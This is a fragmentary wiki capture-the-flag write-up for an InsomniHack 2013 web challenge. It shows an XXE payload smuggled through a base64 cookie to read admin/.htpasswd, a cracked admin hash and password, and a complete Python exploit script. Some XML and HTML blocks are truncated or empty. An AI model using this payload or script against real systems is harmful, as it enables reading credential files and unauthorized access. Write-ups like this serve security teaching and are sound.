Changes
/* Summary */
== Summary ==
== Solution ==
</pre>
* We can then inject XML with the cookie, we use [https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing XML external entities] which allow to manipulate local files and display the result in the XML
<presyntaxhighlight lang="xml">
<!DOCTYPE basket
[
<item type="5" name="asd">&item;</item>
</basket>
</presyntaxhighlight>
* The result of the XML is parsed and displayed in the paying page, so we put the content of the .htpasswd file in an item element which will be displayed in the table.
* Here's the HTML result
<presyntaxhighlight lang="html4strict">
<!DOCTYPE html>
<html lang="en">
</body>
</html>
</presyntaxhighlight>
* The password is in CRYPT format, which is easily bruteforced with john the ripper
echo 'admin:sQcHhNWX6v1VM' > /tmp/pass
>slamas (admin)
* The flag is in the admin page
* Complete script
<syntaxhighlight lang="python">
#!/usr/bin/env python
import requests, urllib2, base64
url = 'http://web02.insomni.hack/1a5b4e6f811a0bc0dcb8fdd773bdb51c571be4e6/'
payload='''
<!DOCTYPE basket
[
<!ENTITY item SYSTEM "admin/.htpasswd">
]>
<basket>
<item type="5" name="asd">&item;</item>
</basket>
'''
payload = urllib2.quote(base64.encodestring(payload))
cookie = {'basket': payload}
r = requests.get(url + 'checkout.php', cookies=cookie)
print r.content
</syntaxhighlight>
== See also ==
* [[InsomniHack-2013]]
